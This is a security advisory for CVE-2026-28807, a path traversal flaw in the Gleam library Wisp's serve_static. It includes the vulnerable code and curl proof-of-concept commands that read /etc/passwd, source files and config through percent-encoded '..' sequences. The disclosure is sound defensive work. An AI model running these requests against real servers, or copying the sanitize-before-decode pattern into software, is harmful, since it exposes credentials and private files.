CVE-2026-28807
Wisp Vulnerable to Path Traversal
Description
### Summary `wisp.serve_static` is vulnerable to arbitrary file read via percent-encoded path traversal (`%2e%2e`). The directory traversal sanitization runs before percent-decoding, allowing encoded `..` sequences to bypass the filter. An unauthenticated attacker can read any file readable by the application process in a single HTTP request. ### Details In `src/wisp.gleam`, `serve_static` processes the request path in this order: ```gleam let path = path |> string.drop_start(string.length(prefix)) |> string.replace(each: "..", with: "") // Step 1: sanitize |> filepath.join(directory, _) let path = case uri.percent_decode(path) { // Step 2: decode Ok(p) -> p Error(_) -> path } ``` Sanitization (step 1) strips literal `..` but runs **before** percent-decoding (step 2). The encoded sequence `%2e%2e` passes through `string.replace` unchanged, then `uri.percent_decode` converts it to `..`, which the OS resolves as directory traversal when the file is read. ### PoC Any application using `wisp.serve_static`: ```gleam fn handle_request(req: wisp.Request) -> wisp.Response { use <- wisp.serve_static(req, under: "/static", from: priv_directory()) wisp.not_found() } ``` Exploit (requires `--path-as-is` to prevent client-side normalization): ```bash # Read /etc/passwd curl -s --path-as-is \ "http://localhost:8080/static/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd" # Read project source code curl -s --path-as-is \ "http://localhost:8080/static/%2e%2e/%2e%2e/src/app.gleam" # Read project config curl -s --path-as-is \ "http://localhost:8080/static/%2e%2e/%2e%2e/gleam.toml" ``` ### Impact This is a **path traversal / arbitrary file read** vulnerability (CWE-22). Any application using `wisp.serve_static` is affected. An unauthenticated attacker can read: - Application source code - Configuration and secrets in `priv/` - `.env` files, `secret_key_base`, private keys - System files (`/etc/passwd`, `/etc/shadow` if permissions allow) ### Workaround Copy the [fixed implementation](https://github.com/gleam-wisp/wisp/blob/161118c431047f7ef1ff7cabfcc38981877fdd93/src/wisp.gleam#L1413-L1461) to your codebase and replace references to wisp.serve_static with this version in your codebase. ### References * Commit that introduced the vulnerability: https://github.com/gleam-wisp/wisp/commit/129dcb1fe10ab1e676145d91477535e1c90ab550 * Patch Commit: https://github.com/gleam-wisp/wisp/commit/161118c431047f7ef1ff7cabfcc38981877fdd93
How to fix CVE-2026-28807
To remediate CVE-2026-28807, upgrade the affected package to a fixed version below.